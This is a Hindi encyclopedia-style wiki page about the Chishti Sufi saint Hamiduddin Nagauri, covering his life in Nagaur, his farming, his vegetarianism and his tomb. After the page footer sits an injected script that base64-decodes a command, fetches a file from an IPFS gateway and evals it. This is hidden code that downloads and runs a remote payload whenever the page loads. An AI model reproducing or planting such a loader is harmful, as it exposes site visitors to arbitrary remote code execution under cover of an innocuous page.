हमीदुद्दीन नागौरी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

हमीदुद्दीन नागौरी (1192-1274 ई.) ख़्वाजा मुईनुद्दीन चिश्ती के शिष्य थे। इन्होंने अपने गुरु के आदेशानुसार सूफ़ी मत का प्रचार-प्रसार किया। यद्यपि इनका जन्म दिल्ली में हुआ था, लेकिन इनका अधिकांश समय नागौर, राजस्थान में ही व्यतीत हुआ था।

  • राजस्थान में अजमेर के बाद नागौर ही सूफ़ी मत का प्रसिद्ध केन्द्र रहा था।
  • मुइनुद्दीन चिश्ती के शिष्य हमीदुद्दीन नागौरी ने गुरु के आदेश से सूफ़ी मत का प्रचार किया।
  • इन्होंने अपना जीवन एक आत्मनिर्भर किसान की तरह गुजारा था।
  • नागौर से लगभग 2 किलोमीटर की दूरी पर स्थित 'सुवाल' नामक गाँव में इन्होंने खेती भी की।
  • ये पूर्णतः शाकाहारी थे एवं अपने शिष्यों से भी शाकाहारी बने रहने को कहते थे।
  • इनकी ग़रीबी को देखकर नागौर के प्रशासक ने इन्हें कुछ नक़द एवं ज़मीन देने की पेशकश की थी, जिसे इन्होंने अस्वीकार कर दिया।
  • हमीदुद्दीन नागौरी समन्वयवादी थे और इन्होंने भारतीय वातावरण के अनुरूप सूफ़ी आन्दोलन को आगे आगे बढ़ाया।
  • नागौर में चिश्ती सम्प्रदाय के इस सूफ़ी संत की मजार आज भी इनकी याद दिलाती है।
  • इस मजार पर मुहम्मद बिन तुग़लक़ ने एक गुम्बद का निर्माण करवाया था, जो 1330 ई. में बनकर पूर्ण हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>